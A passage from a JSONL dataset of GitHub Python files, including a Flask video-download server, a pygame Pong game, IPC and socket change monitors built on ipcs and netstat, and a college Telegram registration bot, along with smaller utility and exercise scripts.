self.assertEqual(doc.kernel, \"kernel\")\n self.assertEqual(doc.defconfig, \"defconfig\")\n self.assertEqual(doc.dtb, \"dtbs/board.dtb\")\n finally:\n os.remove(boot_log.name)\n\n def test_parse_from_file_no_board_tmp_dtb(self):\n boot_log = tempfile.NamedTemporaryFile(\n mode='w+b', bufsize=-1, prefix=\"boot-\", suffix=\".json\", delete=False\n )\n boot_obj = {\n \"job\": \"job\",\n \"kernel\": \"kernel\",\n \"defconfig\": \"defconfig\",\n \"dtb\": \"tmp/board.dtb\",\n \"lab_name\": \"lab_name\",\n \"boot_time\": 0,\n \"arch\": \"arm\"\n }\n\n board = os.path.splitext(\n os.path.basename(boot_log.name).replace('boot-', ''))[0]\n\n try:\n with open(boot_log.name, mode=\"w\") as boot_write:\n boot_write.write(json.dumps(boot_obj))\n\n doc = utils.bootimport._parse_boot_from_file(\n boot_log.name, self.db)\n\n self.assertEqual(doc.board, board)\n self.assertEqual(doc.dtb, \"tmp/board.dtb\")\n finally:\n os.remove(boot_log.name)\n","repo_name":"joyxu/kernelci-backend","sub_path":"app/utils/tests/test_bootimport.py","file_name":"test_bootimport.py","file_ext":"py","file_size_in_byte":12267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29910331166","text":"import sys\nsys.path.append('src')\n\nimport i18n\nimport utils\n\n# i18n.setup_get_text(utils.get_absolute_path(__file__, 'src'),\n# utils.get_absolute_path(__file__, 'res/lang'),\n# 'bot',\n# 'zh_TW')\n\nfrom flask import Flask, request, send_from_directory, abort\nfrom flask_sqlalchemy import SQLAlchemy\nfrom handlers.YTHandler import YTHandler\nfrom jinja2 import FileSystemLoader\n\nDIRECTORY_WEBSITE = '../www'\nDIRECTORY_DOWNLOADED = '../src/.complete'\n\napp = Flask(__name__)\ndb = None\nlogWorker = None\nydl = None\n\n@app.before_first_request\ndef setup():\n init_database(app)\n\n global logWorker\n logWorker = utils.TaskExecutor()\n\n init_jinja()\n\ndef init_database(app):\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///foo.db'\n app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 86400\n global db\n db = SQLAlchemy(app)\n\n # create all tables if not exist\n # classes must be included and declared before create_all()\n from models.Base import Base\n from models.DLItem import DLItem\n Base.metadata.create_all(bind=db.engine)\n\ndef init_jinja():\n app.jinja_loader = FileSystemLoader([DIRECTORY_WEBSITE])\n app.jinja_env.trim_blocks = True\n app.jinja_env.lstrip_blocks = True\n\n@app.route('/')\ndef index():\n\t# check if modified every time\n r = send_from_directory(DIRECTORY_WEBSITE, 'index.html')\n r.cache_control.max_age = 0\n return r\n\n@app.route('/')\ndef send_main(path):\n return send_from_directory(DIRECTORY_WEBSITE, path)\n\n@app.route('/downloads/')\ndef send_downloaded(path):\n return send_from_directory(DIRECTORY_DOWNLOADED, path)\n\n@app.route('/videos', methods=['POST'])\ndef new_download():\n req = YTHandler.parse_args(request, app, db, logWorker, ydl)\n return YTHandler.download(req)\n\n@app.route('/videos', methods=['GET'])\ndef list_all_downloads():\n req = YTHandler.parse_args(request, app, db, logWorker, ydl)\n return YTHandler.list_downloads(req)\n\n@app.route('/videos/', methods=['GET'])\ndef list_downloads(req_id):\n req = YTHandler.parse_args(request, app, db, logWorker, ydl)\n return YTHandler.list_downloads(req, reqId=req_id)\n\n@app.after_request\ndef add_header(r):\n r.headers['Access-Control-Allow-Origin'] = '*'\n r.headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS, PUT, DELETE'\n r.headers['Access-Control-Allow-Headers'] = ','.join(['Content-Type'])\n # set no cache policy for confidential data\n if 'Cache-Control' not in r.headers:\n r.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'\n r.headers['Pragma'] = 'no-cache'\n return r\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=True, threaded=True, port=5002)\n","repo_name":"Roger00/yt_wishlist","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33913745190","text":"import logging\n\n\ndef setup_logger(name, log_file, level=logging.INFO):\n \"\"\"Wrapping for loggers which can write into different files\"\"\"\n formatter = logging.Formatter(\"%(asctime)s %(levelname)s %(message)s\")\n handler = logging.FileHandler(log_file)\n handler.setFormatter(formatter)\n\n logger = logging.getLogger(name)\n logger.setLevel(level)\n logger.addHandler(handler)\n\n return logger\n","repo_name":"implausibleDeniability/RecommenderSystemYC","sub_path":"scripts/multiple_logging.py","file_name":"multiple_logging.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"13621700771","text":"import re\r\n\r\nclass Word_Tokenize:\r\n\r\n\t_re_word_start = r\"[^\\(\\\"\\`{\\[:;&\\#\\*@\\)}\\]\\-,]\"\r\n\t\"\"\"Excludes some characters from starting word tokens\"\"\"\r\n\r\n\t_re_non_word_chars = r\"(?:[?!)\\\";}\\]\\*:@\\'\\({\\[])\"\r\n\t\"\"\"Characters that cannot appear within words\"\"\"\r\n\r\n\t_re_multi_char_punct = r\"(?:\\-{2,}|\\.{2,}|(?:\\.\\s){2,}\\.)\"\r\n\t\"\"\"Hyphen and ellipsis are multi-character punctuation\"\"\"\r\n\t\r\n\t_word_tokenize_fmt = r'''(\r\n %(MultiChar)s\r\n |\r\n (?=%(WordStart)s)\\S+? # Accept word characters until end is found\r\n (?= # Sequences marking a word's end\r\n \\s| # White-space\r\n $| # End-of-string\r\n %(NonWord)s|%(MultiChar)s| # Punctuation\r\n ,(?=$|\\s|%(NonWord)s|%(MultiChar)s) # Comma if at end of word\r\n )\r\n |\r\n \\S\r\n )'''\r\n\t\"\"\"Format of a regular expression to split punctuation from words,\r\n excluding period.\"\"\"\r\n\t\r\n\tdef word_tokenize(self, s):\r\n\t\t\"\"\"Tokenize a string to split off punctuation other than periods\"\"\"\r\n\t\treturn self._word_tokenizer_re().findall(s)\r\n\t\t\r\n\tdef _word_tokenizer_re(self):\r\n\t\t\t\"\"\"Compiles and returns a regular expression for word tokenization\"\"\"\r\n\t\t\ttry:\r\n\t\t\t\treturn self._re_word_tokenizer\r\n\t\t\texcept AttributeError:\r\n\t\t\t\tself._re_word_tokenizer = re.compile(\r\n\t\t\t\t\tself._word_tokenize_fmt %\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t'NonWord': self._re_non_word_chars,\r\n\t\t\t\t\t\t'MultiChar': self._re_multi_char_punct,\r\n\t\t\t\t\t\t'WordStart': self._re_word_start,\r\n\t\t\t\t\t},\r\n\t\t\t\t\tre.UNICODE | re.VERBOSE\r\n\t\t\t\t)\r\n\t\t\t\treturn self._re_word_tokenizer\r\n\t","repo_name":"mikecabana/COMP479-P3","sub_path":"project2/nltk_functions/word_tokenize.py","file_name":"word_tokenize.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32352891689","text":"class Solution:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n dp = [False] * (len(s) + 1)\n dp[0] = True\n for i in range(len(s)):\n for j in range(i, len(s)):\n if dp[i] and s[i:j+1] in wordDict:\n dp[j+1] = True\n \n return dp[-1]\n\nclass Solution:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n def recur(s:str, word_dict:Set[str], start:int):\n if start == len(s):\n return True\n for end in range(start+1, len(s)+1):\n #print(s[start:end])\n if s[start:end] in word_dict and recur(s, word_dict, end):\n return True\n return False\n return recur(s, set(wordDict), 0)\n\nclass Solution:\n def wordBreak(self, s: str, wordDict: List[str]) -> bool:\n word_set = set(wordDict)\n q = deque()\n visited = set()\n\n q.append(0)\n while q:\n start = q.popleft()\n if start in visited:\n continue\n for end in range(start + 1, len(s) + 1):\n if s[start:end] in word_set:\n q.append(end)\n if end == len(s):\n return True\n visited.add(start)\n return False","repo_name":"suleesulee/TIL","sub_path":"Algorithm/Leetcode/139. Word Break[R].py","file_name":"139. Word Break[R].py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8666553816","text":"\"\"\"Docstring.\"\"\"\nimport newspaper\nimport string\nfrom textRecognition import text_sentiment\n\ndef download_article(url):\n count = 0\n try:\n article = newspaper.Article(url)\n article.download()\n while(True):\n if(article.html != ''):\n break\n article.parse()\n while(True):\n if(article.text != '' and article.title != ''):\n break\n count += 1\n if count > 50:\n break\n article.nlp()\n count = 0\n while(True):\n if(article.keywords != ''):\n break\n count += 1\n if count > 50:\n break\n except newspaper.ArticleException:\n return\n text = article.text\n return text\n\n\ndef run(url):\n text = download_article(url)\n result = text_sentiment(text)\n print(\"The score for this article is: {}\".format(result))\n return result\n","repo_name":"skabra07/MSP-TextSentiment","sub_path":"newspaperArticle.py","file_name":"newspaperArticle.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"38868722498","text":"import pandas as pd\n\ndf_exams = pd.read_csv('/home/brian/repos/pythonDS/StudentsPerformance.csv')\n#renombrar una columna y sobreescribir los valores del df\ndf_exams.rename(columns={'gender':'Gender_pro'})\n#renombrar y reemplazar el dataFrame -- parámetro inplace\ndf_exams.rename(columns={'math score':'MS', \n 'reading score':'RS',\n 'writing score':'WS'}, inplace=True)\n#renombrar index 0, 1, 2 y actualizar el df\ndf_exams.rename(index={0:'A', 1:'B', 2:'C'}, inplace=True)\n#mostrar DF:\nprint(df_exams.head(5))","repo_name":"brian-js14/pythonDS","sub_path":"Udemy/Dataframe/mthRename.py","file_name":"mthRename.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38026747290","text":"import pygame\r\npygame.init()\r\npygame.font.init()\r\nmyfont = pygame.font.SysFont('ArcadeClassic',50)\r\nsize = (800,600)\r\nscreen = pygame.display.set_mode(size)\r\nscreen_rect = screen.get_rect()\r\npygame.display.set_caption(\"Pong\")\r\n\r\ntick = pygame.time.Clock()\r\n\r\nplayer1points = 0\r\nplayer2points = 0\r\nrun = True\r\nplayergroup = pygame.sprite.Group()\r\nclass player(pygame.sprite.Sprite):\r\n def __init__(self, no):\r\n pygame.sprite.Sprite.__init__(self)\r\n self.image = pygame.Surface([25,100])\r\n self.image.fill((255,255,255))\r\n self.playery = 250\r\n self.rect = self.image.get_rect()\r\n self.no = no\r\n if no == 1:\r\n self.rect = pygame.Rect(25, self.playery, 25, 100)\r\n elif no == 2:\r\n self.rect = pygame.Rect(750, self.playery, 25, 100)\r\n def update(self):\r\n if self.no == 1:\r\n self.rect = pygame.Rect(25, self.playery, 25, 100)\r\n elif self.no == 2:\r\n self.rect = pygame.Rect(750, self.playery, 25, 100)\r\n def checkcollision(self):\r\n col = pygame.sprite.collide_rect(self, ball)\r\n if col:\r\n ball.velx = -ball.velx\r\n ball.vely = ((ball.posy+12.5) - (self.playery+50))*0.05 \r\n if ball.velx < 0:\r\n ball.velx -= 0.5\r\n else:\r\n ball.velx += 0.5\r\nballgroup = pygame.sprite.Group()\r\nclass ball(pygame.sprite.Sprite):\r\n def __init__(self):\r\n pygame.sprite.Sprite.__init__(self)\r\n self.image = pygame.Surface([25,25])\r\n self.image.fill((255,255,255))\r\n self.posx = 387.5\r\n self.posy = 287.5\r\n self.velx = -2\r\n self.vely= 0\r\n self.rect = self.image.get_rect()\r\n self.rect = pygame.Rect(self.posx, self.posy, 25, 25)\r\n def update(self):\r\n self.posx += self.velx\r\n self.posy += self.vely\r\n self.rect = pygame.Rect(self.posx, self.posy, 25, 25)\r\nball = ball() \r\nplayer1 = player(1)\r\nplayer2 = player(2)\r\nballgroup.add(ball)\r\nplayergroup.add(player1)\r\nplayergroup.add(player2)\r\n \r\nwhile run:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run = False\r\n move_ticker = 0\r\n move_ticker2 = 0\r\n keys = pygame.key.get_pressed()\r\n \r\n if keys[pygame.K_w] and keys[pygame.K_s]:\r\n if move_ticker == 0:\r\n move_ticker = 10\r\n elif keys[pygame.K_s]:\r\n if move_ticker == 0:\r\n move_ticker = 10\r\n player1.playery += 5\r\n elif keys[pygame.K_w]:\r\n if move_ticker == 0:\r\n move_ticker = 10\r\n player1.playery -= 5\r\n\r\n if keys[pygame.K_DOWN] and keys[pygame.K_UP]:\r\n if move_ticker2 == 0:\r\n move_ticker2 = 10\r\n elif keys[pygame.K_DOWN]:\r\n if move_ticker2 == 0:\r\n move_ticker2 = 10\r\n player2.playery += 5\r\n elif keys[pygame.K_UP]:\r\n if move_ticker2 == 0:\r\n move_ticker2 = 10\r\n player2.playery -= 5\r\n\r\n screen.fill((0,0,0))\r\n\r\n player1.checkcollision()\r\n player2.checkcollision()\r\n\r\n if 0 >= ball.posy:\r\n ball.vely = -ball.vely\r\n if ball.posy > 587.5:\r\n ball.vely = -ball.vely\r\n\r\n if 0 >= ball.posx:\r\n ball.posx = 387.5\r\n ball.posy = 287.5\r\n ball.velx = 2\r\n ball.vely = 0\r\n player2points += 1\r\n if ball.posx >= 775:\r\n ball.posx = 387.5\r\n ball.posy = 287.5\r\n ball.velx = -2\r\n ball.vely = 0\r\n player1points += 1\r\n\r\n if ball.velx > 45:\r\n ball.velx = 45\r\n elif ball.velx < -45:\r\n ball.velx = -45\r\n \r\n if player1.playery < 0:\r\n player1.playery = 0\r\n if player1.playery > 500:\r\n player1.playery = 500\r\n if player2.playery < 0:\r\n player2.playery = 0\r\n if player2.playery > 500:\r\n player2.playery = 500\r\n \r\n if keys[pygame.K_SPACE]:\r\n ball.posx = 850\r\n player1points = -1\r\n player2points = 0\r\n\r\n pygame.draw.rect(screen, (255,255,255), [399,0,2,64])\r\n pygame.draw.rect(screen, (255,255,255), [399,133,2,64])\r\n pygame.draw.rect(screen, (255,255,255), [399,266,2,64])\r\n pygame.draw.rect(screen, (255,255,255), [399,400,2,64])\r\n pygame.draw.rect(screen, (255,255,255), [399,534,2,64])\r\n\r\n textsurface = myfont.render(str(player1points), False, (255, 255, 255))\r\n textsurface2 = myfont.render(str(player2points), False, (255, 255, 255))\r\n if player1points < 0:\r\n textsurface = myfont.render('0', False, (255, 255, 255))\r\n if player2points < 0:\r\n textsurface2 = myfont.render('0', False, (255, 255, 255))\r\n\r\n screen.blit(textsurface,(335,10))\r\n screen.blit(textsurface2,(435,10))\r\n \r\n playergroup.update()\r\n ball.update()\r\n playergroup.draw(screen)\r\n ballgroup.draw(screen)\r\n pygame.display.flip()\r\n if move_ticker > 0:\r\n move_ticker -= 1\r\n if move_ticker2 > 0:\r\n move_ticker2 -= 1\r\n tick.tick(60)\r\n\r\npygame.quit()\r\n","repo_name":"zehata/mlpong","sub_path":"pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72219623769","text":"while True:\n parola = input(\"bir parola belirleyin\")\n\n if not parola:\n print(\"parola boş bırakılamaz\")\n elif len(parola) in range(3,8):\n print(\"yeni parolanız:\", parola)\n break\n else:\n print(\"paroalnız 8 karakterden uzun 3 karakterden kısa olamaz\")\n break\n","repo_name":"kolpator/python","sub_path":"for.py","file_name":"for.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28431718865","text":"from . import *\n\ndef parse_ipcs_output(output):\n\tres = {}\n\tlines = output.splitlines()\n\tfor line in lines:\n\t\tparts = line.split()\n\t\t# ignore non-table rows and the table header\n\t\tif len(parts) < 5 or parts[0] == \"------\" or parts[0] == \"key\":\n\t\t\tcontinue\n\t\tkey = int(parts[0], 16)\n\t\towner, perms, size = parts[2:5]\n\t\tres[int(parts[1])] = (key, owner, perms, int(size))\n\treturn res\n\nclass ListSharedMemorySegmentsCommand(Command):\n\tname = \"list_shm\"\n\tshell = False\n\tcommand = \"ipcs -m\"\n\tdesc = \"analyze changes in System V shared memory segments\"\n\n\tdef parse(output):\n\t\treturn parse_ipcs_output(output)\n\n\tdef compare(prev, cur):\n\t\tanomalies = []\n\t\tsegments = merge_keys_to_list(prev, cur)\n\t\tfor shmid in segments:\n\t\t\tif shmid not in cur:\n\t\t\t\tp = prev[shmid]\n\t\t\t\tanomalies.append(C(\"shared memory segment %i destroyed (key=0x%x, owner=%s, permissions=%s, size=%i)\" % (shmid, p[0], p[1], p[2], p[3])))\n\t\t\t\tcontinue\n\t\t\telif shmid not in prev:\n\t\t\t\tc = cur[shmid]\n\t\t\t\tanomalies.append(C(\"shared memory segment %i created (key=0x%x, owner=%s, permissions=%s, size=%i)\" % (shmid, c[0], c[1], c[2], c[3])))\n\t\t\t\tcontinue\n\t\t\tp, c = prev[shmid], cur[shmid]\n\t\t\tif p[0] != c[0]:\n\t\t\t\tanomalies.append(C(\"key for shared memory segment %i changed from 0x%x to 0x%x\" % (shmid, p[0], c[0])))\n\t\t\tif p[1] != c[1]:\n\t\t\t\tanomalies.append(C(\"owner of shared memory segment %i changed from %s to %s\" % (shmid, p[1], c[1])))\n\t\t\tif p[2] != c[2]:\n\t\t\t\tanomalies.append(C(\"permissions for shared memory segment %i changed from %s to %s\" % (shmid, p[2], c[2])))\n\t\t\tif p[3] != c[3]:\n\t\t\t\tanomalies.append(C(\"size of shared memory segment %i changed from %i to %i\" % (shmid, p[3], c[3])))\n\t\t\tanomalies.append(D(\"shared memory segment %i (key=0x%x, owner=%s, permissions=%s and size=%i) unchanged\" % (shmid, p[0], p[1], p[2], p[3])))\n\t\treturn anomalies\n\nclass ListSemaphoreArraysCommand(Command):\n\tname = \"list_sem\"\n\tshell = False\n\tcommand = \"ipcs -s\"\n\tdesc = \"analyze changes in System V sempahores\"\n\n\tdef parse(output):\n\t\treturn parse_ipcs_output(output)\n\n\tdef compare(prev, cur):\n\t\tanomalies = []\n\t\tsemaphores = merge_keys_to_list(prev, cur)\n\t\tfor sem in semaphores:\n\t\t\tif sem not in cur:\n\t\t\t\tp = prev[sem]\n\t\t\t\tanomalies.append(C(\"semaphore array %i destroyed (key=0x%x, owner=%s, permissions=%s, nsems=%i)\" % (sem, p[0], p[1], p[2], p[3])))\n\t\t\t\tcontinue\n\t\t\telif sem not in prev:\n\t\t\t\tc = cur[sem]\n\t\t\t\tanomalies.append(C(\"semaphore array %i created (key=0x%x, owner=%s, permissions=%s, nsems=%i)\" % (sem, c[0], c[1], c[2], c[3])))\n\t\t\t\tcontinue\n\t\t\tp, c = prev[sem], cur[sem]\n\t\t\tif p[0] != c[0]:\n\t\t\t\tanomalies.append(C(\"key for semaphore array %i changed from 0x%x to 0x%x\" % (sem, p[0], c[0])))\n\t\t\tif p[1] != c[1]:\n\t\t\t\tanomalies.append(C(\"owner of semaphore array %i changed from %s to %s\" % (sem, p[1], c[1])))\n\t\t\tif p[2] != c[2]:\n\t\t\t\tanomalies.append(C(\"permissions for semaphore array %i changed from %s to %s\" % (sem, p[2], c[2])))\n\t\t\tif p[3] != c[3]:\n\t\t\t\tanomalies.append(C(\"number of semaphores in semaphore array %i changed from %i to %i\" % (sem, p[3], c[3])))\n\t\t\tanomalies.append(D(\"semaphore array %i (key=0x%x, owner=%s, permissions=%s, nsems=%i) unchanged\" % (sem, p[0], p[1], p[2], p[3])))\n\t\treturn anomalies\n\nclass ListMessageQueuesCommand(Command):\n\tname = \"list_msq\"\n\tshell = False\n\tcommand = \"ipcs -q\"\n\tdesc = \"analyze changes in System V message queues\"\n\n\tdef parse(output):\n\t\treturn parse_ipcs_output(output)\n\n\tdef compare(prev, cur):\n\t\tanomalies = []\n\t\tqueues = merge_keys_to_list(prev, cur)\n\t\tfor q in queues:\n\t\t\tif q not in cur:\n\t\t\t\tp = prev[q]\n\t\t\t\tanomalies.append(C(\"message queue %i destroyed (key=0x%x, owner=%s, permissions=%s, used-bytes=%i)\" % (q, p[0], p[1], p[2], p[3])))\n\t\t\t\tcontinue\n\t\t\telif q not in prev:\n\t\t\t\tc = cur[q]\n\t\t\t\tanomalies.append(C(\"message queue %i created (key=0x%x, owner=%s, permissions=%s, used-bytes=%i)\" % (q, c[0], c[1], c[2], c[3])))\n\t\t\t\tcontinue\n\t\t\tp, c = prev[q], cur[q]\n\t\t\tif p[0] != c[0]:\n\t\t\t\tanomalies.append(C(\"key for message queue %i changed from 0x%x to 0x%x\" % (q, p[0], c[0])))\n\t\t\tif p[1] != c[1]:\n\t\t\t\tanomalies.append(C(\"owner of message queue %i changed from %s to %s\" % (q, p[1], c[1])))\n\t\t\tif p[2] != c[2]:\n\t\t\t\tanomalies.append(C(\"permissions for message queue %i changed from %s to %s\" % (q, p[2], c[2])))\n\t\t\tif p[3] != c[3]:\n\t\t\t\tanomalies.append(C(\"used-bytes of message queue %i changed from %i to %i\" % (q, p[3], c[3])))\n\t\t\tanomalies.append(D(\"message queue %i (key=0x%x, owner=%s, permissions=%s, used-bytes=%i) unchanged\" % (q, p[0], p[1], p[2], p[3])))\n\t\treturn anomalies\n\nclass ListListeningUNIXSocketsCommand(Command):\n\tname = \"list_unix_ports\"\n\tshell = False\n\tcommand = \"netstat -lx\"\n\tdesc = \"list changes in listening UNIX ports\"\n\n\tdef parse(output):\n\t\tres = {}\n\t\toutput = output.splitlines()[2:]\n\t\tfor line in output:\n\t\t\tparts = line.split()[-4:]\n\t\t\tif parts[1] != \"LISTENING\":\n\t\t\t\t# simple sanity check\n\t\t\t\traise Exception(\"unexpected output\")\n\t\t\ti_node = int(parts[2])\n\t\t\tsock_name = parts[3]\n\t\t\tsock_type = parts[0]\n\t\t\tres[sock_name] = (i_node, sock_type)\n\t\treturn res\n\n\tdef compare(prev, cur):\n\t\tanomalies = []\n\t\tsockets = merge_keys_to_list(prev, cur)\n\t\tfor sock in sockets:\n\t\t\tif sock not in cur:\n\t\t\t\tanomalies.append(C(\"listening UNIX socket %s closed\" % sock))\n\t\t\t\tcontinue\n\t\t\telif sock not in prev:\n\t\t\t\tanomalies.append(C(\"listening UNIX socket %s opened\" % sock))\n\t\t\t\tcontinue\n\t\t\tp, c = prev[sock], cur[sock]\n\t\t\tif p[0] != c[0]:\n\t\t\t\tanomalies.append(C(\"i-node for listening UNIX socket %s changed from %i to %i\" % (sock, p[0], c[0])))\n\t\t\tif p[1] != c[1]:\n\t\t\t\tanomalies.append(C(\"type of listening UNIX socket %s changed from %s to %s\" % (sock, p[1], c[1])))\n\t\treturn anomalies\n","repo_name":"anvilsecure/dawgmon","sub_path":"dawgmon/commands/ipc.py","file_name":"ipc.py","file_ext":"py","file_size_in_byte":5632,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"31"} +{"seq_id":"73964284568","text":"import numpy as np\nimport pickle\n\n\nworking_folder = r'E:\\Data_Files\\Workspaces\\PyCharm\\kaggle\\landmark-recognition-challenge\\\\'\ndata_folder = working_folder + r'data\\\\'\nresults_file = data_folder + 'test_results.csv'\n\n\ndef load_obj(name, folder=data_folder):\n with open(folder + name + '.pkl', 'rb') as f:\n return pickle.load(f)\n\nval_name_id_dict = load_obj('val_name_id_dict')\n\ntrue_labels = []\npred_labels = []\nprobs = []\n\nwith open(results_file, 'r') as f:\n f.readline()\n for line in f:\n tokens = line.strip().split(',')\n name = tokens[0]\n\n pred_label, prob = tokens[1].split(' ')\n pred_label = str(pred_label)\n prob = float(prob)\n true_label = str(val_name_id_dict[name])\n\n true_labels.append(true_label)\n pred_labels.append(pred_label)\n probs.append(prob)\n\ntrue_pos = [true_label == pred_label for true_label, pred_label in zip(true_labels, pred_labels)]\n# print(true_pos)\ntrue_pos = [x for _, x in sorted(zip(probs,true_pos), reverse=True)]\n# print(true_pos)\ngap = 0\nfor i in range(len(true_pos) // 2):\n precision = sum(true_pos[:i+1]) / len(true_pos[:i+1])\n gap += precision if true_pos[i] else 0\ngap /= len(true_pos)\nprint(gap)\nprint(sum(true_pos))\n","repo_name":"dkatsios/landmark_recognition","sub_path":"gap_predictions.py","file_name":"gap_predictions.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39346119490","text":"import json\n\nimport telebot\nfrom telebot import types\nfrom telebot.types import InlineKeyboardMarkup, InlineKeyboardButton\nimport os\nfrom dotenv import load_dotenv\n\nimport BOT_API\n\nload_dotenv()\n\n# Створення об'єкту бота\nbot = telebot.TeleBot(os.environ.get(\"TELEGRAM_TOKEN\"))\n@bot.message_handler(commands=['start'])\ndef start_registration(message):\n chat_id = message.chat.id\n bot.send_message(chat_id, \"Доброго дня! Для реєстрації введіть ваше Ім'я:\")\n bot.register_next_step_handler(message, ask_name)\n\ndef ask_name(message):\n '''Функція для запитування імені'''\n chat_id = message.chat.id\n first_name = message.text.strip()\n user_id = message.from_user.id\n username = message.from_user.username\n data = {'social_id': user_id, 'chat_id': chat_id, 'first_name': first_name, 'username': username}\n bot.send_message(chat_id, \"Тепер введіть ваше прізвище:\")\n bot.register_next_step_handler(message, ask_surname, data)\n\ndef ask_surname(message, data):\n '''Функція для запитування прізвища'''\n chat_id = message.chat.id\n last_name = message.text.strip()\n data['last_name'] = last_name\n specialty = [item['name'] for item in BOT_API.get_specialty()]\n markup = types.ReplyKeyboardMarkup(one_time_keyboard=True)\n markup.add(*[types.KeyboardButton(name) for name in specialty])\n bot.send_message(chat_id, \"Виберіть вашу спеціальність:\", reply_markup=markup)\n bot.register_next_step_handler(message, select_specialty, data)\n\ndef select_specialty(message, data):\n '''Функція для обробки вибору спеціальності і вибору курсу'''\n chat_id = message.chat.id\n specialty = message.text\n data['specialty'] = specialty\n # Отримуємо дані про курси для обраної спеціальності\n # Фільтруємо курси за вибраною спеціальністю\n courses = [course[\"course_num\"] for course in BOT_API.get_group() if course[\"specialty\"] == specialty]\n courses.sort(key=int)\n # Створюємо клавіатуру з кнопками курсів\n markup = types.ReplyKeyboardMarkup(one_time_keyboard=True)\n markup.add(*[types.KeyboardButton(course) for course in courses])\n bot.send_message(chat_id, \"Виберіть курс:\", reply_markup=markup)\n bot.register_next_step_handler(message, select_course, data)\n\ndef select_course(message, data):\n '''Функція для обробки вибору вибору курсу та вибір групи'''\n chat_id = message.chat.id\n course = int(message.text)\n # Фільтруємо Групи за вибраною спеціальністю та курсом\n groups = [group[\"name\"] for group in BOT_API.get_group() if\n group[\"specialty\"] == data['specialty'] and group[\"course_num\"] == course]\n # Створюємо клавіатуру з кнопками груп\n markup = types.ReplyKeyboardMarkup(one_time_keyboard=True)\n markup.add(*[types.KeyboardButton(group) for group in groups])\n bot.send_message(chat_id, \"Виберіть групу:\", reply_markup=markup)\n bot.register_next_step_handler(message, select_group, data)\n\ndef select_group(message, data):\n '''Функція для обробки вибору вибору групи та реєстрація користувача на сервері'''\n chat_id = message.chat.id\n group = message.text\n data['group'] = group\n # Тут відправляємо дані студента на сервер\n BOT_API.post_user(data)\n # Виводимо повідомлення про успішну реєстрацію\n registration_data = f\"Прізвище: {data['last_name']}\\nІм'я: {data['first_name']}\\nСпеціальність: {data['specialty']}\\nГрупа: {data['group']}\"\n\n keyboard = InlineKeyboardMarkup(row_width=1)\n button1 = InlineKeyboardButton(\"Розклад\", callback_data=\"action1\")\n button2 = InlineKeyboardButton(\"Практика та працевлаштування\", url=\"http://ncntu.com.ua/index.php/partnerstvo\")\n button3 = InlineKeyboardButton(\"Ресурси та матеріали\", url=\"https://sites.google.com/view/bibliotekancntu/%D0%B3\"\n \"%D0%BE%D0%BB%D0%BE%D0%B2%D0%BD%D0%B0-%D1%81%D1%82%D0\"\n \"%BE%D1%80%D1%96%D0%BD%D0%BA%D0%B0\")\n button4 = InlineKeyboardButton(\"Важливі контакти\", callback_data=\"contact\")\n keyboard.add(button1, button2, button3, button4)\n\n bot.send_message(chat_id, f\"Ви успішно зареєстровані!\\n\\n{registration_data}\", reply_markup=keyboard)\n\n\n\ndef contact(chat_id):\n keyboard = InlineKeyboardMarkup(row_width=1)\n button1 = InlineKeyboardButton(\"Студенту\", callback_data=\"cont_stud\")\n button2 = InlineKeyboardButton(\"Випускнику\", callback_data=\"cont_vupus\")\n button3 = InlineKeyboardButton(\"Якість освіти\", callback_data=\"cont_osvi\")\n button4 = InlineKeyboardButton(\"Бібліотека\", callback_data=\"cont_biblioteka\")\n keyboard.add(button1, button2, button3, button4)\n\n bot.send_message(chat_id, \"Контакти:\", reply_markup=keyboard)\n\n\n@bot.callback_query_handler(func=lambda call: True)\ndef handle_callback_query(call):\n chat_id = call.message.chat.id\n if call.data == \"action1\":\n bot.send_message(chat_id, \"Розклад\")\n elif call.data == \"contact\":\n contact(chat_id)\n elif call.data == \"cont_stud\":\n bot.send_message(chat_id, \"Контактна інформація:\\n+380347520322\\nПредставники коледжу:\\n+380668009048 (Грицюк \"\n \"Христина Ігорівна)\\n+380688683302 (Семенюк Христина Русланівна)\")\n elif call.data == \"cont_vupus\":\n bot.send_message(chat_id, \"Підрозділ сприяння працевлаштування випускників\\n+380688683302\")\n elif call.data == \"cont_osvi\":\n bot.send_message(chat_id, \"Навчально-методична лабораторія\\n+380347520322\")\n elif call.data == \"cont_biblioteka\":\n bot.send_message(chat_id, \"Електронна 